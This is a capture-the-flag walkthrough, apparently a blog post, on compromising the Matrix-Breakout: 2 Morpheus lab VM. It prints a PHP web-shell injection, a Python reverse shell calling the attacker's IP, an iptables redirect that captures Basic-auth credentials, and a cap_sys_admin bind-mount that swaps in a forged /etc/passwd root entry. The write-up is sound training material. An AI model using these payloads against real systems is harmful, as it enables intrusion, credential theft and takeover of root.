Port17 / Technical archives

Field notes

CTF : Matrix-Breakout: 2 Morpheus

Informations

  • IP: 192.168.0.36
  • MYIP: 192.168.0.171

First enumeration

Basics

  • NMAP
console
sudo nmap -p- -A 192.168.0.171
Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-19 20:48 CET
Nmap scan report for 192.168.0.171
Host is up (0.00017s latency).
Not shown: 65532 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5 (protocol 2.0)
| ssh-hostkey: 
|_  256 aa83c351786170e5b7469f07c4ba31e4 (ECDSA)
80/tcp open  http    Apache httpd 2.4.51 ((Debian))
|_http-title: Morpheus:1
|_http-server-header: Apache/2.4.51 (Debian)
81/tcp open  http    nginx 1.18.0
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  Basic realm=Meeting Place
|_http-title: 401 Authorization Required
|_http-server-header: nginx/1.18.0
MAC Address: 08:00:27:96:04:CB (Oracle VirtualBox virtual NIC)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.93%E=4%D=1/19%OT=22%CT=1%CU=36052%PV=Y%DS=1%DC=D%G=Y%M=080027%T
OS:M=63C99E89%P=x86_64-pc-linux-gnu)SEQ(SP=104%GCD=1%ISR=10D%TI=Z%CI=Z%II=I
OS:%TS=A)OPS(O1=M5B4ST11NW6%O2=M5B4ST11NW6%O3=M5B4NNT11NW6%O4=M5B4ST11NW6%O
OS:5=M5B4ST11NW6%O6=M5B4ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6
OS:=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M5B4NNSNW6%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O
OS:%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=
OS:0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%
OS:S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(
OS:R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=
OS:N%T=40%CD=S)

Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.17 ms 192.168.0.171

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.84 seconds

Port 80 leads to an index.html but there is maybe something else... :)

console
dirsearch -u http://192.168.0.171 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e zip,sql.bak,tgz,log,py,pub,php.bak,bak,tar.gz,tar,id_rsa,sh,pl,rb,cgi,jar,js,php,sql,bkp,rar,xml,csv,html,json,txt,old,php.old,html.old,html.OLD,gz,OLD -f 

  _|. _ _  _  _  _ _|_    v0.4.2
 (_||| _) (/_(_|| (_| )

Extensions: zip, sql.bak, tgz, log, py, pub, php.bak, bak, tar.gz, tar, id_rsa, sh, pl, rb, cgi, jar, js, php, sql, bkp, rar, xml, csv, html, json, txt, old, php.old, html.old, html.OLD, gz, OLD
HTTP method: GET | Threads: 30 | Wordlist size: 7498530

Output File: /home/boula/.dirsearch/reports/192.168.0.171/_23-01-19_20-55-53.txt

Error Log: /home/boula/.dirsearch/logs/errors-23-01-19_20-55-53.log

Target: http://192.168.0.171/

[20:55:53] Starting: 
[20:55:53] 200 -  348B  - /index.html
[20:55:57] 403 -  278B  - /icons/
[20:56:56] 403 -  278B  - /javascript/
[20:56:56] 301 -  319B  - /javascript  ->  http://192.168.0.171/javascript/
[20:57:36] 200 -   47B  - /robots.txt
[21:12:37] 200 -  451B  - /graffiti.php
[21:12:37] 200 -  139B  - /graffiti.txt
CTRL+C detected: Pausing threads, please wait...

Exploit

Well /graffiti.php is a php script that writes via a POST command some text in a text file. Using burp I could see that there is two parameters to POST action : message and file... Huhuhu

So what if I modify those parameters like this : message=%3C%3Fphp+system%28%24_GET%5B%27cmd%27%5D%29%3F%3E&file=joe.php

It creates a file joe.php that contains : <?php system($_GET['cmd'])?> !

console
$ curl "http://192.168.0.171/joe.php?cmd=ls"
graffiti.php
graffiti.txt
index.html
joe.php
robots.txt
trinity.jpeg

On attacker box I launched :

shell
nc -nlvp 1234

Now, we can use this payload for the cmd parameter : python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.36",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

And we got a shell :)

console
$ cat /FLAG.txt 
Flag 1!

You've gotten onto the system.  Now why has Cypher locked everyone out of it?

Can you find a way to get Cypher's password? It seems like he gave it to 
Agent Smith, so Smith could figure out where to meet him.

Also, pull this image from the webserver on port 80 to get a flag.

/.cypher-neo.png

Now we need to find cypher password.

There an nginx webserver serving page on port 81. It's password protected. But as we got a shell, let's see what's in the .htpasswd :

console
$ cat /var/nginx/html/.htpasswd 
cypher:$apr1$e9o8Y7Om$5zgDW6WOO6Fl8rCC7jpvX0

I tried to crack it with hashcat but... no luck...

I was stuck here for a long time until I tried to print the nginx log tail :

console
$ tail /var/log/nginx/access.log
[...]
172.17.0.2 - cypher [19/Jan/2023:23:37:52 +0000] "GET / HTTP/1.1" 200 354 "-" "Go-http-client/1.1"
172.17.0.2 - cypher [19/Jan/2023:23:38:52 +0000] "GET / HTTP/1.1" 200 354 "-" "Go-http-client/1.1"
172.17.0.2 - cypher [19/Jan/2023:23:39:52 +0000] "GET / HTTP/1.1" 200 354 "-" "Go-http-client/1.1"
172.17.0.2 - cypher [19/Jan/2023:23:40:52 +0000] "GET / HTTP/1.1" 200 354 "-" "Go-http-client/1.1"
172.17.0.2 - cypher [19/Jan/2023:23:41:52 +0000] "GET / HTTP/1.1" 200 354 "-" "Go-http-client/1.1"

I previously saw there was a docker service but as www-data user I was unable to do anything.

But now, I figured out that there is a service held by docker that do connections as cypher user.

So I have to find a way...

console
$ getcap -r / 2>/dev/null
/usr/bin/python3-9 cap_sys_admin=ep
/usr/bin/ping cap_net_raw=ep
/usr/sbin/xtables-legacy-multi cap_net_admin=ep
/usr/sbin/xtables-nft-multi cap_net_admin=ep

/usr/sbin/xtables-nft-multi has the capability cap_net_admin=ep which permits to have admin rights on network.

Knowing that we can craft an iptable rule to redirect incoming traffic on port 81 to the attacker box.

shell
/usr/sbin/xtables-nft-multi iptables -t nat -A PREROUTING -p tcp --dport 81 -j DNAT --to-destination 192.168.0.36:1235

On the attacker box :

console
$ nc -nlvp 1235
listening on [any] 1235 ...
connect to [192.168.0.36] from (UNKNOWN) [192.168.0.171] 35002
GET / HTTP/1.1
Host: 172.17.0.1:81
User-Agent: Go-http-client/1.1
Authorization: Basic Y3lwaGVyOmNhY2hlLXByb3N5LXByb2NlZWRzLWNsdWUtZXhwaWF0ZS1hbW1vLXB1Z2lsaXN0
Accept-Encoding: gzip

And we just have to decode base64:

console
$ echo -ne 'Y3lwaGVyOmNhY2hlLXByb3N5LXByb2NlZWRzLWNsdWUtZXhwaWF0ZS1hbW1vLXB1Z2lsaXN0' | base64 -d
cypher:cache-prosy-proceeds-clue-expiate-ammo-pugilist
console
$ cat FLAG.txt 
You've clearly gained access as user Cypher.

Can you find a way to get to root?

Privilege escalation

Enumeration for privesc

I found this ...

console
cat /etc/cron.d/fix-ownership-on-crew
* * * * * root chown -R root /crew

I tried to push file with suid set into this dir but chown command removed the suid bit...

but... remember :

console
$ getcap -r / 2>/dev/null
/usr/bin/python3-9 cap_sys_admin=ep
/usr/bin/ping cap_net_raw=ep
/usr/sbin/xtables-legacy-multi cap_net_admin=ep
/usr/sbin/xtables-nft-multi cap_net_admin=ep

...

Exploit

console
$ ls -al /usr/bin/python3-9
-rwxr-x--- 1 root humans 5479736 Oct 28  2021 /usr/bin/python3-9

Huuum we can now use this binary and cap_sys_admin=ep let us mount a file above another... sooo.

Let's craft a special passwd file :

shell
cp /etc/passwd .
openssl passwd -1 -salt toto titi
$1$toto$U3mQTcCvor57o7Hq2Woid.
echo 'toto:$1$toto$U3mQTcCvor57o7Hq2Woid.:0:0:root:/root:/bin/bash' >> passwd

We have to write a script to replace the original one by ours :)

python
from ctypes import *
libc = CDLL("libc.so.6")
libc.mount.argtypes = (c_char_p, c_char_p, c_char_p, c_ulong, c_char_p)
MS_BIND = 4096
source = b"/home/cypher/passwd"
target = b"/etc/passwd"
filesystemtype = b"none"
options = b"rw"
mountflags = MS_BIND
libc.mount(source, target, filesystemtype, mountflags, options)

And now...

shell
/usr/bin/python3-9 exploit.py
console
cypher@morpheus:~$ su - toto
Password: titi
root@morpheus:~# whoami
root

Huhuhu !

console
# cat FLAG.txt 
You've won!

Let's hope Matrix: Resurrections rocks!

\o/